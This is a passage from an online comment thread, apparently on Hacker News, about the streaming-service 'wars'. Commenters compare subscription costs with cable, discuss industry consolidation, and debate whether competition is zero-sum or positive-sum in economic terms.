</comment></comment><comment><USER28> Calling it a war is a great strategy. It implies that one company will be left standing. I think we can all agree with the article, there won't be one person left standing.

But it's war! You have to choose a side. Are you Mac or PC? Are you iPhone or Android? Are you Netflix or Hulu? This strategy, although I don't think it was concocted by a secret group, is great at creating loyal customers. Some will cheat of course and will swing left and right, but in the end, companies make money.

</comment><comment><USER29> We are dropping Disney+ minutes after the last episode of the Maldorian finishes it's screening at our house. Unless they release something immediately thereafter. We split Netflix with my best friend and my wife and I split Amazon prime/hbo. As soon as last week tonight wraps up we're cancelling hbo too. We briefly had Hulu while the wife was binging on handmaid's tale but have since cancelled. Not keeping these services on 52 weeks a year

</comment><comment><USER30> They are so cheap that I am just subscribed to everything. I know I'm fortunate to be able to afford that but compared to what Americans are spending on everything else it's surely not a lot for the value you get. Still cheaper than I used to pay for cable ($100)

<comment><USER31> I have never paid for cable in my life. The youngest generation hasn't. Comparing subscription services to cable won't work for the newest customers because they aren't use to cable.

<comment><USER32> > Comparing subscription services to cable won't work for the newest customers > because they aren't use to cable

Most Americans have cable. It's often inextricably linked with internet access. The newest customers, in both rural and urban, are definitely used to it.

<comment><USER33> As a young American, this is probably true for older generations, but I can't see this remaining true for very long. I make sure to get _internet only_ packages from Comcast, since I have absolutely no desire or need for cable.

</comment></comment></comment></comment><comment><USER34> In this scenario, the modern viewer pays slightly more per month, and yet still can't watch _Star Trek: Discovery_ , because the list doesn't include CBS All Access. And first the modern viewer must have internet service. And instead of a single interface, it's usually a variety of different interfaces, with some guesswork about which show is in which one.

The big players will likely all survive, yes, but some of the smaller ones are likely to end up also-rans. Thanks to IP exclusives, we'll end up with 3-4 players in the market, for sure. Better? Worse? I dunno. Different, for sure.

</comment><comment><USER35> Well, yes and no. Nowadays it's possible to serve all niches and the mainstream market together at the same time, through the same general service offering, simply by filtering and sorting the content according to user data.

Therefore I would assume that we can't fully apply the traditional media experience to the current streaming wars.

</comment><comment><USER36> The claim by the Comcast's of the world has been that to get everything you previously had with cable you would need to pay a lot more, but what's happening is that there is consolidation within the content provider side like Hulu now being part of Disney. So the total list of streaming services we might end up with is probably around 4-6, so if each one costs around $10 then that's still way cheaper than most cable services that are still charging extra for "HD" service and stuff like that..

So next play is for somebody like Disney to buy an internet service provider or something? Otherwise comcast will start throttling all of their competitors more than they already are..

<comment><USER37> > So next play is for somebody like Disney to buy an internet service provider > or something?

AT&T owns cell-phones, ISPs, HBO+, WB, DC-universe, and more.

<comment><USER38> AT&T also is a horribly managed, bureaucratic company. They have like 8 branded streaming products besides HBO Go, Max, Plus and snow. IMO, Netflix's high performance culture and attention to detail could be what sets them apart. If they're not throttled by one of these providers of course.

<comment><USER36> Yea the hbo streaming situation is bonkers.. totally reeks of meeting some odd corporate goals or some BS. They need to solidify their offerings at ATT into like one service or something.. just have it be like HBO+ and call it a day.

</comment></comment></comment></comment><comment><USER39> Imagine giving a billionaire money for something being offered freely from a peer.

</comment><comment><USER40> my response after reading the title

"but it is for consumers"

</comment><comment><USER41> I'll do my part to make it so.

</comment><comment><USER42> Call me pedantic, but the usage of the term "zero-sum" in this article makes no sense. They use it synonymously with "winner-take-all" which is so far from it's original meaning that you have to question whether the author even knows what zero-sum means, or if they're just using the buzzword to attract clicks.

In fact, increased competition leads to reduced profits (at least in the short term), making this a "negative-sum" game.

<comment><USER43> _> In fact, increased competition leads to reduced profits (at least in the short term), making this a "negative-sum" game._

I'm not an economist but I've never heard of competition described as "negative-sum." It's zero-sum because the consumer wins.

"Negative-sum" would be a nuclear weapons manufacturer profiting off blowing up half the planet. The manufacturer might have made money, but overall everyone else loses far more than the manufacturer gained.

<comment><USER44> > It's zero-sum because the consumer wins.

That's not the traditional economic understanding of the *-sum expression either. In economics, competition forces efficiency improvements, which makes competition in cases where increased efficiency is possible positive-sum.

<comment><USER43> What's the point of efficiency improvements to a business without a consumer? They could be another business, but at the end of day a member of the public has to pay for it with taxes or post-tax dollars. Economies dont exist without consumers to consume what the producers produce.

Sure you could measure efficiency in widgets per human-hour but at the end of day, efficiency improvements do not happen in lock-step across industries so at some point you have to convert to a meaningful value dictated by consumers.

<comment><USER44> Efficiency improvements lead to an overall increase in the amount of goods produced given a fixed amount of input. The benefit devolves onto both the producer and the consumer (this is called "surplus"), each according to their elasticity of demand. That's the econ 101 model, in any case.

In the televised video market, this "efficiency" might manifest as higher quality shows, or a wider selection of shows available to watch. You only need to look back to the early days of TV to see that what we have today is much better (more entertaining, more interesting, has higher technical quality). We also have a vastly expanded selection of shows to watch. This is the result of competition. The sum is positive, because the overall utility produced has increased.

> What's the point of efficiency improvements to a business without a > consumer?

I am not sure what in my comment this is referring to. To a first approximation, there are no firms without customers. At least, none that are both legal and last very long.

<comment><USER43> Thank you for the explanation, that makes more sense.

How is overall utility measured in cases of intangible goods like TV shows and movies? I think I understand what surplus means in the context of industrial/agricultural production or simple services like hair cuts or deliveries but what about media? The success of movies or TV shows can't be quantified with an objective measurement like length or CGI per square inch or Rotten Tomato points, only by the profit they generate - which seems to only get more circular and complicated with Hollywood accounting.

There are certainly more shows available to watch today, "interesting" or not, because the market for entertainment has grown massively but it seems to me they only have higher technical quality because human attention is zero sum and they've hit diminishing returns on their capital (which I don't think is all that different from most other industries).

<comment><USER44> > How is overall utility measured

In the sense of the model, it's not necessarily measured. There is an understanding that there is no such measuring tool as a "util measuring stick." Util being my made up word for a unit of utility. It is taken as a given that utils are roughly convertible to currency, or at least that people are willing to exchange a roughly consistent amount of currency for a given amount of utility. The amount of currency exchanged in a voluntary economic transaction represents both an upper bound on the seller's valuation of what they are selling and a lower bound on the buyer's valuation of what they are buying.

All of this with the appropriate vast numbers of caveats about it just being a model. It's a tool for rough prediction.

> human attention is zero sum

This is not so. You could be forced to pay attention to paint drying on a wall, or you could watch a show that moves you to tears. Both consume the same amount of attention (by which I think you mean, "time spent paying attention"), but both do not provide you so the same amount of utility. You would obviously pay more for one of those experiences than the other.</comment></comment></comment></comment></comment></comment></comment>